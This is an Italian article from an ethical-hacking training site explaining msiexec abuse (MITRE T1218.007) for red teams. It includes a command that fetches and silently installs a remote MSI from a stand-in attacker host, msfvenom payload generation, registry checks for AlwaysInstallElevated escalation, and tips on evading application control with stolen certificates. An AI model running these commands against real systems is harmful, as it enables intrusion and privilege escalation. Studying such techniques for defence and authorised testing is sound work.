Abuso di Msiexec: System Binary Proxy Execution via Msiexec (T1218.007)

Msiexec.exe è l'utility a riga di comando del Windows Installer, componente nativo di ogni sistema Windows moderno e firmato digitalmente da Microsoft. La sua funzione legittima consiste nell'installare, riparare o disinstallare pacchetti in formato .msi, ma proprio la combinazione di firma valida, esecuzione con privilegi elevati e capacità di caricare file remoti la rende una scelta ricorrente per gli avversari che vogliono aggirare i controlli applicativi.

La tecnica ricade sotto la tattica TA0005 (Defense Evasion) e si inserisce tipicamente nelle fasi di Execution e Defense Evasion della kill chain: msiexec viene invocato per scaricare un pacchetto MSI da un URL HTTP/HTTPS, da una condivisione UNC o per eseguire una DLL, mascherando il payload come installazione legittima. Se la policy AlwaysInstallElevated è abilitata sia in HKCU che in HKLM, l'esecuzione avviene con privilegi SYSTEM, trasformando la tecnica in un vettore di privilege escalation.

I dati MITRE ATT&CK associano a questa tecnica 6 gruppi APT, 21 famiglie di malware e 2 campagne documentate, tra cui il celebre 3CX Supply Chain Attack. La diffusione trasversale — da ransomware come Maze e Clop a banking trojan latinoamericani come Grandoreiro e Mispadu, fino a loader di alto profilo come IcedID e Latrodectus — conferma msiexec come uno dei LOLBIN più abusati dell'ecosistema Windows.

In un ingaggio red team, msiexec offre un vettore comodo per la fase di initial execution perché è firmato Microsoft, presente ovunque e ha una superficie di logging spesso sottovalutata. La sintassi base per l'esecuzione remota di un pacchetto è:

msiexec /q /i http://attacker.tld/payload.msi

Il flag /q garantisce esecuzione silenziosa senza UI, mentre /i indica installazione. La variante UNC — msiexec /q /i \\attacker.tld\share\payload.msi — sfrutta WebDAV o SMB e produce artefatti di rete differenti. Per l'esecuzione di una DLL arbitraria via Windows Installer si può ricorrere a un pacchetto MSI custom che invochi una CustomAction di tipo 2 (DLL da binary table) oppure di tipo 17 (DLL già installata).

Per costruire il pacchetto MSI in laboratorio, WiX Toolset (open source) resta lo standard: consente di definire CustomAction che eseguono payload arbitrari durante l'installazione. In alternativa, Advanced Installer (freemium) permette generazione rapida di MSI weaponizzati per scenari di simulazione. Nel contesto di framework offensivi, Metasploit (open source) include il modulo per generare payload MSI tramite msfvenom -f msi, mentre Nishang e PowerSploit (entrambi open source) forniscono script PowerShell che possono essere impacchettati dentro CustomAction.

Un pattern particolarmente efficace per il bypass di application control come AppLocker o WDAC in configurazioni permissive consiste nel firmare l'MSI con un certificato code-signing acquistato o rubato, oppure nell'ospitare il payload su infrastruttura con reputazione pulita (CDN, storage cloud legittimi).

Per il privilege escalation, la verifica preliminare è d'obbligo:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Se entrambe le chiavi restituiscono valore 1, qualsiasi MSI eseguito da utente non privilegiato ottiene contesto SYSTEM. WinPEAS (open source) automatizza questa verifica insieme ad altri misconfig locali.

Una catena realistica emulata dal gruppo TA505 prevede consegna via phishing di un downloader che invoca msiexec verso un dominio C2, con l'MSI che a sua volta lancia una CustomAction contenente shellcode. La replica in lab richiede attenzione al sandboxing: eseguire sempre in VM isolata con snapshot pre-esecuzione e monitoraggio outbound controllato tramite INetSim (open source) per evitare contatti reali con infrastruttura di terze parti.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.